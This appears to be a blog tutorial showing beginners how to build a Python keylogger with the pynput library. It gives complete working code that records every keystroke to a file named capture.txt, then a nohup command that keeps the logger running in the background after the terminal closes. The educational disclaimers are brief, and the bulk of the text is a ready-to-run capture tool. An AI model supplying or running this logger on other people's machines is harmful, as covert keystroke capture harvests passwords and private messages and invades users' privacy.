Create a Python Keylogger: A Step-by-Step Guide
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Chapter 1: Understanding Keyloggers
In this guide, you will discover how to develop a keylogger using Python. A keylogger (or keystroke logger) is software designed to capture and document your typing activities on a computer or mobile device.
These tools can serve legitimate purposes like monitoring network activity or diagnosing technical issues. However, they are also misused by malicious software to harvest sensitive information such as login credentials. Therefore, it's crucial to utilize this knowledge responsibly and ethically. Let’s get started!
Section 1.1: Installing Pynput
The first step involves installing a library known as pynput. To do this, open your terminal and input the following command:
sudo pip3 install pynput
The pynput library facilitates the monitoring and control of input devices, particularly keyboards. It enables you to track input events like key presses.
Section 1.2: Creating the Keylogger
To begin crafting the keylogger, use the nano text editor by typing:
nano keylogger.py
Next, insert the following code:
from pynput.keyboard import Key, Listener
import logging
logging.basicConfig(filename=("capture.txt"), level=logging.DEBUG, format=" %(asctime)s - %(message)s")
def on_press(key):
logging.info(str(key))
with Listener(on_press=on_press) as listener:
listener.join()
This code snippet sets up a basic keylogger that records every keystroke made on the keyboard and saves it to a file named "capture.txt." It employs the pynput library for keyboard input monitoring and utilizes the logging module to document the keystrokes.
To save the file and initiate the keylogger, run the following command:
nohup python3 keylogger.py &
This command allows the script to continue running even after the terminal is closed, all while it logs keystrokes. Once the keylogger is active, you will notice a new file called "capture.txt" in your current directory. This file will contain all the recorded keystrokes. For instance, typing "Keylogger test!" in the terminal will be captured.
Section 1.3: Viewing Captured Keystrokes
To check the contents of the "capture.txt" file, use the nano text editor again:
nano capture.txt
You should see that the keylogger is successfully logging all keystrokes. If you wish to terminate the keylogger, you can do so using the command "kill" followed by the PID number:
kill 4575
Replace "4575" with your own PID number, which will be displayed in the terminal upon launching the script.
Chapter 2: Conclusion
In this tutorial, you have learned how to create a functional keylogger using Python and the pynput library. Remember, this guide and the keylogger script are intended solely for educational purposes; they should never be employed for malicious activities.
If you found this article helpful, please consider leaving some feedback or following my work. Thank you for reading!
In this tutorial, you will learn how to code a keylogger using Python, perfect for beginners looking to enhance their programming skills.
This tutorial walks you through the process of creating a keylogger with Python, providing step-by-step instructions for effective implementation.